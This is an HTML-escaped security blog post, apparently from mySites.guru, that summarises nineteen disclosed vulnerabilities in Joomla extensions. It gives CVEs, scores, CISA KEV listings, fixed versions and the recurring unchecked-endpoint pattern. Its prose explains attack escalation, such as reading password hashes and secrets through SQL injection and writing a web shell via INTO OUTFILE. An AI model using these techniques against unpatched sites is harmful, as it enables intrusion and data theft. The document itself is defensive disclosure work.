&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Quix Page Builder&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58078&quot;&gt;CVE-2026-58078&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EasyStore&lt;/td&gt;
&lt;td&gt;Unauthenticated order and payment forgery&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65759&quot;&gt;CVE-2026-65759&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Helix3&lt;/td&gt;
&lt;td&gt;Unauthenticated file write and delete&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49049&quot;&gt;CVE-2026-49049&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Helix Ultimate&lt;/td&gt;
&lt;td&gt;Unauthenticated menu write to stored XSS&lt;/td&gt;
&lt;td&gt;none assigned&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Events Booking&lt;/td&gt;
&lt;td&gt;Unauthenticated upload and user enumeration&lt;/td&gt;
&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;6.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Every row is now patched and named. The events and booking component that sat redacted here while its disclosure ran is public at last: it is &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;, fixed across 5.8.0 and 5.8.1. The three newest additions, all fixed the same week, are &lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt; (CVE-2026-61424), &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox&lt;/a&gt; (CVE-2026-61425) and &lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;jDownloads&lt;/a&gt; (CVE-2026-61900), which is what moved the count from thirteen to sixteen while this post was live, and the three EasyStore flaws (order forgery, SQL injection and a cross-customer invoice leak, CVE-2026-65759 to CVE-2026-65761) took it to nineteen. We found all of them ourselves bar jDownloads, which a mySites.guru subscriber brought to us and we confirmed, reproduced and coordinated to a fix.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;None of these is a minor bug&lt;/p&gt;
  &lt;p&gt;Most of the flaws in that table scored between &lt;strong&gt;8.7 and the maximum 10.0&lt;/strong&gt;, and not one dropped below &lt;strong&gt;6.9&lt;/strong&gt;. These are not low-severity housekeeping issues, they are the most dangerous classes of web vulnerability there are: unauthenticated remote code execution, where an anonymous visitor runs their own code on your server, and unauthenticated full-database read, where an anonymous visitor walks off with every user account and password hash. It genuinely does not get much worse than this.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;CISA put four of these on its must-patch-now list&lt;/h2&gt;
&lt;p&gt;When we say critical, we mean it, and now the U.S. government agrees.&lt;/p&gt;
&lt;figure&gt;
  
  &lt;figcaption&gt;The official seal of the U.S. Cybersecurity and Infrastructure Security Agency&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;In a single week, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added &lt;strong&gt;four of the vulnerabilities in this roundup&lt;/strong&gt; to its &lt;a href=&quot;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&quot;&gt;Known Exploited Vulnerabilities catalog&lt;/a&gt;, the authoritative list of bugs CISA has confirmed are being exploited in the wild right now. A CVSS score is a severity opinion. A place on the KEV catalog is evidence: it means the attacks were observed happening, not theorised, and under &lt;a href=&quot;https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk&quot;&gt;Binding Operational Directive 26-04&lt;/a&gt; every U.S. federal agency was legally ordered to patch each one within three days of it being listed.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;CISA Known Exploited Vulnerabilities catalog&lt;/p&gt;
  &lt;p&gt;Two CISA alerts, five vulnerabilities between them. Four were ours.&lt;/p&gt;
  &lt;p&gt;Confirmed exploited in the wild. A three-day federal deadline to patch every one.&lt;/p&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;Added to CISA KEV&lt;/th&gt;
&lt;th&gt;Federal patch deadline&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;PageBuilder CK&lt;/td&gt;
&lt;td&gt;7 July 2026&lt;/td&gt;
&lt;td&gt;10 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;SP Page Builder&lt;/td&gt;
&lt;td&gt;7 July 2026&lt;/td&gt;
&lt;td&gt;10 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48939&quot;&gt;CVE-2026-48939&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;iCagenda&lt;/td&gt;
&lt;td&gt;10 July 2026&lt;/td&gt;
&lt;td&gt;13 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Balbooa Forms&lt;/td&gt;
&lt;td&gt;10 July 2026&lt;/td&gt;
&lt;td&gt;13 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;They came in two public alerts, both now permanent record. The &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/07/07/cisa-adds-three-known-exploited-vulnerabilities-catalog&quot;&gt;&quot;CISA Adds Three Known Exploited Vulnerabilities to Catalog&quot;&lt;/a&gt; alert on 7 July was two of our Joomla findings plus one unrelated flaw. The &lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2026/07/10/cisa-adds-two-known-exploited-vulnerabilities-catalog&quot;&gt;&quot;CISA Adds Two Known Exploited Vulnerabilities to Catalog&quot;&lt;/a&gt; alert on 10 July was both ours.&lt;/p&gt;
&lt;p&gt;Here is the honest detail, and it sharpens the point rather than blunting it. CISA&apos;s catalog lists the CVE, the vendor and the product. It does not print the name of the person who found the bug, so you will not see &quot;mySites.guru&quot; on a government web page. Our name is on the &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE records&lt;/a&gt; instead, which is exactly where the credit for finding and reporting each one belongs. Read the two together and the sequence is not in doubt: we found these, we reported them privately, the vendors shipped fixes, and then a national cyber-defence agency independently confirmed they were already being exploited and made patching them compulsory across the entire U.S. federal government.&lt;/p&gt;
&lt;p&gt;That is about as strong an outside verdict on security research as it gets. Not our marketing, not a CVSS calculator we ran ourselves, but CISA reaching the same conclusion we did and backing it with the force of law. When this post calls these bugs critical, that is what critical means in practice.&lt;/p&gt;
&lt;h2&gt;These are not fringe Joomla extensions&lt;/h2&gt;
&lt;p&gt;It would be comforting to write this off as a run of obscure, one-developer hobby extensions that nobody serious installs. It is the opposite. These are some of the most established, most trusted and most widely deployed names in the whole Joomla ecosystem: page builders and template frameworks that sit under a huge number of live sites, a newsletter platform that ships for WordPress too, mature form, calendar and document components that agencies roll out as standard furniture. Between them they run on an enormous number of production sites. The vendors are long-standing, respected members of the Joomla community, most with a genuinely good security track record.&lt;/p&gt;
&lt;p&gt;That is the part worth sitting with. If extensions of this calibre, from teams who take security seriously, all carried a critical bug on the same public surface inside a single month, then &quot;we only install popular, well-reviewed extensions&quot; is not the safety net people treat it as. Popularity and a good reputation tell you the code is maintained and the developer answers a disclosure email quickly. They do not tell you the code is free of the one endpoint that trusts the wrong input. We are not talking about small players here, and that is exactly why it matters.&lt;/p&gt;
&lt;h2&gt;We went after the biggest names on purpose&lt;/h2&gt;
&lt;p&gt;There is an easy version of this exercise and a hard version, and we deliberately chose the hard one.&lt;/p&gt;
&lt;p&gt;The easy version is to trawl the long tail: the abandoned, single-download, one-afternoon extensions that nobody has touched in years. That corner of any ecosystem, Joomla or WordPress, is riddled with holes. Finding a critical bug there proves nothing, because nobody serious runs that software and breaking it helps no one. It is easy, and it is pointless.&lt;/p&gt;
&lt;p&gt;We did the opposite. We pointed the research squarely at the extensions that matter to the people we protect: the ones at the top of the installed list across mySites.guru users&apos; sites. The page builders, template frameworks, and the form, calendar, document and newsletter components that professional agencies deploy as standard, built and backed by some of the most respected, longest-established developers in the Joomla community. These are the names you would choose precisely because they are popular, maintained and trusted.&lt;/p&gt;
&lt;p&gt;These extensions do not just run on reputable client sites. Several of the ones in this roundup are installed on the official &lt;code&gt;*.joomla.org&lt;/code&gt; websites themselves. The Joomla Project runs this code on its own infrastructure, on the properties that represent Joomla to the world. There is no stronger vote of confidence, no clearer &quot;trusted, vetted, safe to install&quot; signal, than being chosen by the people who make Joomla, for Joomla&apos;s own sites. And it was still vulnerable.&lt;/p&gt;
&lt;p&gt;We did not have to go digging in the gutter to fill a list. Every vulnerability in this post is in software a careful, security-conscious site owner would happily install, from a developer with a real reputation to protect. The critical bugs were in the flagship extensions, on the most reputable sites, the whole time.&lt;/p&gt;
&lt;h2&gt;Is Joomla insecure by default?&lt;/h2&gt;
&lt;p&gt;No, and it is worth stating plainly, because a post like this can leave the wrong impression. Not one of these vulnerabilities is in Joomla itself. Every single one is in a third-party &lt;strong&gt;extension&lt;/strong&gt;: a component, plugin, module or template framework that someone chose to install on top of Joomla. Joomla core is not the weak point here, and nothing in this roundup says otherwise.&lt;/p&gt;
&lt;p&gt;Joomla the platform has one of the stronger security stories in the CMS world: a dedicated Security Strike Team, its own CVE Numbering Authority (the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;) that coordinates disclosures exactly like these, a signed and hardened core update channel, and a long record of shipping fixes quickly. A default Joomla install, kept up to date, is a solid, well-defended piece of software.&lt;/p&gt;
&lt;p&gt;The risk lives where it lives on every CMS: in the third-party ecosystem bolted on around the core. WordPress lives or dies by its plugins, and Joomla by its extensions. That is where code quality varies most, where independent review is thinnest, and where an attacker goes looking first. It is precisely why &quot;keep Joomla updated&quot; is only half the job. The other half is keeping every extension updated too, and knowing which ones are exposed at any given moment.&lt;/p&gt;
&lt;p&gt;So the headline is not &quot;Joomla is insecure&quot;. It is that the extensions you add to Joomla are code too, and they deserve the same discipline you already apply to the core.&lt;/p&gt;
&lt;p&gt;One last piece of perspective, because nineteen findings in five weeks can read as alarming when you see them stacked in one table. Nineteen findings in a month is a handful. Now look at what the WordPress ecosystem logs over the same kind of window: Wordfence&apos;s vulnerability feed regularly carries &lt;strong&gt;fifty or more new plugin vulnerabilities in a single day&lt;/strong&gt;. A day, not a month. Here is that feed on the afternoon we published this post, showing &lt;strong&gt;fourteen WordPress plugin vulnerabilities dated 15 July alone&lt;/strong&gt;, with more stacked up on the 14th and the 13th behind them:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Read that gap honestly, though, because it points in both directions at once. Part of it is scale: WordPress runs on far more sites, with far more plugins, so there is simply more code to find bugs in. The larger part is the thing this entire post has been about. A whole paid industry hunts WordPress plugin bugs every single day, so WordPress&apos;s number is high because hundreds of skilled people are looking. Joomla&apos;s number is low because, most months, almost nobody is. Our nineteen is not the total that exists out there. It is what one team turned up in about five weeks of actually looking, and it is still climbing, not because we ran out but because we cannot look at everything at once.&lt;/p&gt;
&lt;p&gt;So if this roundup left you uneasy about Joomla, weigh it against an ordinary Tuesday in WordPress before drawing a conclusion about either. The lesson is identical on both platforms and has nothing to do with which CMS you chose: the third-party code you bolt on is where the risk lives, and keeping it current is the whole job.&lt;/p&gt;
&lt;h2&gt;The critical file-upload RCEs in Joomla extensions&lt;/h2&gt;
&lt;p&gt;Six of the nineteen were the same shape of bug in its cleanest form: a front-end upload endpoint that accepted a file from an anonymous visitor without properly checking who sent it or what it was, letting an attacker drop a PHP file into a web-served folder and execute it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, CVSS 10.0). A front-end task gated only by a CSRF token, with no authentication or authorisation, accepted an upload and let the attacker choose the destination folder. Fixed in 3.6.0, with back-patches for the Joomla 3 and 4 branches. Exploited in the wild within a day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;, CVSS 10.0). The form attachment upload took a file from anyone, with no login, no CSRF token and no type check, and trusted the supplied filename. A zero-day, confirmed exploited in the wild. Fixed in 2.4.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles!&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57827&quot;&gt;CVE-2026-57827&lt;/a&gt;, CVSS 10.0). The front-end upload task was reachable with no login and no token, and the write path did no file-type check, so anyone could drop a PHP file into the public downloads folder and run it. Fixed in 1.17.12.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt;&lt;/strong&gt; (CVE-2026-48908, CVSS 10.0). An unauthenticated icon-upload endpoint gave remote code execution, and was being used to plant hidden Super User accounts. Fixed in 6.6.2.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;&lt;/strong&gt; (CVE-2026-48939, CVSS 9.8). The public &quot;Submit an Event&quot; form accepted uploads with no server-side type check, plus an access-control bypass that let guests create events. A zero-day, exploited in the wild. Fixed in 4.0.8 (and 3.9.15 for the legacy branch).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57828&quot;&gt;CVE-2026-57828&lt;/a&gt;, CVSS 9.0). This one needs a logged-in member and the non-default user-upload feature, so it is authenticated rather than anonymous, but the member-upload path skipped the file-type allow-list and let a member upload and run a PHP file. Fixed in 6.1.3.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Three more were the same class of unauthenticated upload but stopped short of clean code execution on a default server, so they score High rather than 10.0: &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61424&quot;&gt;CVE-2026-61424&lt;/a&gt;, CVSS 8.8) and &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/&quot;&gt;jDownloads&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61900&quot;&gt;CVE-2026-61900&lt;/a&gt;, CVSS 8.8) both let an anonymous visitor write an arbitrary file into a web-served folder, tipping into remote code execution only on a misconfigured host, and &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-60024&quot;&gt;CVE-2026-60024&lt;/a&gt;) shipped with an anonymous upload on by default alongside a user-enumeration flaw. All three are fixed.&lt;/p&gt;
&lt;h2&gt;The Joomla Extension SQL injections&lt;/h2&gt;
&lt;p&gt;Five of the nineteen were SQL injection rather than file upload: not code execution, but a &lt;strong&gt;read&lt;/strong&gt;. A public front-end endpoint placed request input into a database query with no sanitising, so an anonymous visitor could read any table in the database, including user accounts and password hashes. Four of the five score 8.7, lower than the upload flaws&apos; 10.0 only because they read data rather than executing code; the fifth, in EasyStore, is the same read-through-the-query pattern but the Joomla CNA scored it 9.3 Critical. Every one is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;, CVSS 8.7). A public front-end endpoint placed request input into a query unsanitised. It affects the WordPress plugin as well as the Joomla extension, because both are built from the same code. Fixed in 10.11.1 on both platforms.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57832&quot;&gt;CVE-2026-57832&lt;/a&gt;, CVSS 8.7). The document and download manager for Joomla by JoomDonation placed a request parameter into a front-end query unsanitised, the same class of unauthenticated SQL injection with the same anonymous full-database-read outcome. We proved it live, reading back the site&apos;s Super User account and confirming it connected to MySQL as the superuser, so on that box the read reached every database on the server, not just the one site. Fixed in &lt;strong&gt;EDocman 3.9.0&lt;/strong&gt;, under a terse changelog that badly understates the severity. Read the &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;full write-up&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57831&quot;&gt;CVE-2026-57831&lt;/a&gt;, CVSS 8.7). The calendar and events component for Joomla by Digital Peak carried the same class of unauthenticated SQL injection in its public front-end events feed, with the same anonymous full-database-read outcome. It is now fixed in DPCalendar 10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3), which Digital Peak shipped within 24 hours, over a holiday break, &lt;a href=&quot;https://joomla.digital-peak.com/blog/2026-security-issue-in-dpcalendar&quot;&gt;crediting us in their own advisory&lt;/a&gt;. Read the &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;full write-up&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;EasyStore&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65761&quot;&gt;CVE-2026-65761&lt;/a&gt;, CVSS 9.3). JoomShaper&apos;s ecommerce component passed the product-list sort direction into the query&apos;s &lt;code&gt;ORDER BY&lt;/code&gt; with no allow-list, so an anonymous visitor could read any table through the sort parameter. It was one of three flaws we found in EasyStore, alongside an unauthenticated order forgery and a cross-customer invoice leak, and JoomShaper fixed all three in 2.0.2 with no security advisory. Read the &lt;a href=&quot;https://mysites.guru/blog/easystore-security-disclosure/&quot;&gt;full write-up&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Unauthenticated SQL injection often means complete database compromise&lt;/h2&gt;
&lt;p&gt;It is tempting to file a &quot;read-only&quot; SQL injection under low priority. Do not. Unauthenticated SQL injection is one of the most damaging classes of web vulnerability there is, and &quot;read-only&quot; badly undersells what an attacker walks away with.&lt;/p&gt;
&lt;p&gt;Start with what a single anonymous request can read. Joomla&apos;s &lt;code&gt;#__users&lt;/code&gt; table holds every account, Super Users included, with their bcrypt password hashes. Those hashes crack offline at the attacker&apos;s leisure, and any weak one that falls hands over a real admin login with no further exploit needed. The &lt;code&gt;#__session&lt;/code&gt; table can expose live sessions. Extension parameters in &lt;code&gt;#__extensions&lt;/code&gt; routinely hold API keys and integration credentials. Every article, every custom field, every piece of data the application keeps in the database is readable. One injection, and the confidentiality of the whole application is gone.&lt;/p&gt;
&lt;p&gt;The reach often does not stop at one site, either. On a great deal of shared and reseller hosting the database account the site connects with is over-privileged, sometimes able to see every schema on the MySQL server. Where that is true, a single injection in one Joomla site can read every other database on the box, other customers&apos; sites included, and in the worst setups the server&apos;s own &lt;code&gt;mysql.user&lt;/code&gt; table. The blast radius is not &quot;this site&apos;s data&quot;, it is &quot;everything this database login can see&quot;.&lt;/p&gt;
&lt;p&gt;&quot;Blind&quot; shrinks none of this, it only slows it down. A blind injection returns no data in the page, so tooling asks the database one true-or-false question at a time and rebuilds the answer bit by bit. That is a throughput detail for the attacker, not a safety margin for you: automated tools walk a full table out in seconds to minutes, and the end state is identical to a noisy injection.&lt;/p&gt;
&lt;p&gt;And a read is frequently just the opening move. Depending on the database privileges and the exact injection point, the same flaw can escalate to writing rows (planting a Super User, flipping a user into an admin group, injecting a stored-XSS payload into content), or, where the database login holds the &lt;code&gt;FILE&lt;/code&gt; privilege, reading server files with &lt;code&gt;LOAD_FILE&lt;/code&gt; and writing a web shell with &lt;code&gt;INTO OUTFILE&lt;/code&gt;, turning a &quot;read&quot; into remote code execution. Even when it stays a pure read, &quot;the attacker now has every credential and secret the site stores&quot; is a full compromise in every way that counts.&lt;/p&gt;
&lt;p&gt;That is why we treat the five SQL injections in this roundup as high-severity emergencies rather than paperwork, and why the answer is never &quot;add a firewall rule and move on&quot;. A WAF can blunt the delivery. Only the patch closes the hole.&lt;/p&gt;
&lt;h2&gt;The Helix template framework issues&lt;/h2&gt;
&lt;p&gt;Two of the findings were in JoomShaper&apos;s template frameworks, which sit on an enormous number of Joomla sites.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3&lt;/a&gt;&lt;/strong&gt; (CVE-2026-49049) had an unauthenticated file write, arbitrary file delete and template-parameter overwrite reachable through &lt;code&gt;com_ajax&lt;/code&gt; before any token or permission check. The template-parameter angle matters: it is being used to &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;inject a defacement and wallet-drainer payload straight into the database&lt;/a&gt;, where file scanners never look. Fixed in 3.1.1, and it shipped under a two-word &quot;Security Update&quot; changelog that badly understated it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate&lt;/a&gt;&lt;/strong&gt; had several &lt;code&gt;com_ajax&lt;/code&gt; actions running with no CSRF or permission check, enabling an unauthenticated menu-settings write that leads to stored cross-site scripting, plus an in-folder file delete, an open redirect and an unprotected template export. Fixed in 2.2.7. No CVE has been assigned.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why these Joomla vulnerabilities nearly all look the same&lt;/h2&gt;
&lt;p&gt;Read the list again and the same phrase keeps appearing: a public front-end endpoint. That is not a coincidence, it is the whole story.&lt;/p&gt;
&lt;p&gt;Extensions have to expose endpoints that anonymous visitors reach without logging in. A contact or booking form has to accept a submission. A calendar has to serve its events. A file manager has to hand out downloads. A page builder has to load and save layout fragments over AJAX. None of that can sit behind a login, because the public is the intended audience. Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; gateway and front-end component tasks exist precisely to expose this surface.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. The bug is almost never the endpoint existing. It is the endpoint &lt;strong&gt;trusting&lt;/strong&gt; what arrives: taking a filename the visitor supplied and writing it to disk, taking a request parameter and dropping it into a database query, reaching a file-write or delete without first checking a token and a permission. An upload handler with no type allow-list turns &quot;submit an event&quot; into &quot;run my code&quot;. A query built by string concatenation turns &quot;search the newsletter&quot; into &quot;read the password table&quot;. This is the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt;, and it is behind all but a couple of these nineteen findings. Once you have seen it a few times, you know exactly where to look in the next extension.&lt;/p&gt;
&lt;h2&gt;None of this is new: authentication, authorisation and Joomla security 101&lt;/h2&gt;
&lt;p&gt;It is worth being blunt about how ordinary these bugs are. Nothing in this roundup is novel. There is no exotic new attack class, no clever chain nobody had thought of, no zero-day technique. Every single one comes down to one of the oldest lessons in web application security, and they split cleanly into the three questions every request should have to answer:&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;p&gt;Joomla security 101&lt;/p&gt;
      &lt;p&gt;Three questions every request must answer&lt;/p&gt;
    &lt;/div&gt;
    &lt;span&gt;AuthN / AuthZ / Input&lt;/span&gt;
  &lt;/div&gt;
  &lt;ol&gt;
    &lt;li&gt;
      &lt;span&gt;01&lt;/span&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;span&gt;Authentication&lt;/span&gt;
          &lt;span&gt;Skipped&lt;/span&gt;
        &lt;/div&gt;
        &lt;p&gt;Who is making this request?&lt;/p&gt;
        &lt;p&gt;A &lt;code&gt;com_ajax&lt;/code&gt; action that fires before any token or login check has skipped this entirely.&lt;/p&gt;
      &lt;/div&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;span&gt;02&lt;/span&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;span&gt;Authorisation&lt;/span&gt;
          &lt;span&gt;Skipped&lt;/span&gt;
        &lt;/div&gt;
        &lt;p&gt;Are they allowed to do it?&lt;/p&gt;
        &lt;p&gt;A front-end task that reaches a file write, a delete or an upload without checking a permission has skipped this one.&lt;/p&gt;
      &lt;/div&gt;
    &lt;/li&gt;
    &lt;li&gt;
      &lt;span&gt;03&lt;/span&gt;
      &lt;div&gt;
        &lt;div&gt;
          &lt;span&gt;Input validation&lt;/span&gt;
          &lt;span&gt;Skipped&lt;/span&gt;
        &lt;/div&gt;
        &lt;p&gt;Can this input be trusted?&lt;/p&gt;
        &lt;p&gt;An upload with no file-type allow-list, or a query built by gluing request text together, has skipped this one.&lt;/p&gt;
      &lt;/div&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
&lt;p&gt;That is it. That is the whole of it, nineteen times over. These three ideas are the first week of any secure-development course and the top of every checklist OWASP has published for twenty years. They are not obscure corners that only bite under exotic conditions, they are the fundamentals, and experienced developers are expected to get them right by default and without thinking about it. This is not written to shame anyone, because it is genuinely the reassuring part: the defences are well understood, cheap and boring. The fix is never the hard part. The failure is almost always the same human one, a single endpoint that, on a busy day, skipped a check that everybody already knows to make.&lt;/p&gt;
&lt;h2&gt;Five things the Joomla Project could do to protect every site&lt;/h2&gt;
&lt;p&gt;None of this is Joomla core&apos;s fault, as we said. But the platform is uniquely placed to make this entire class of bug far harder for an extension developer to write in the first place. Five changes would make it much harder to ship, and the first two alone would have stopped almost every vulnerability in this post before it shipped.&lt;/p&gt;
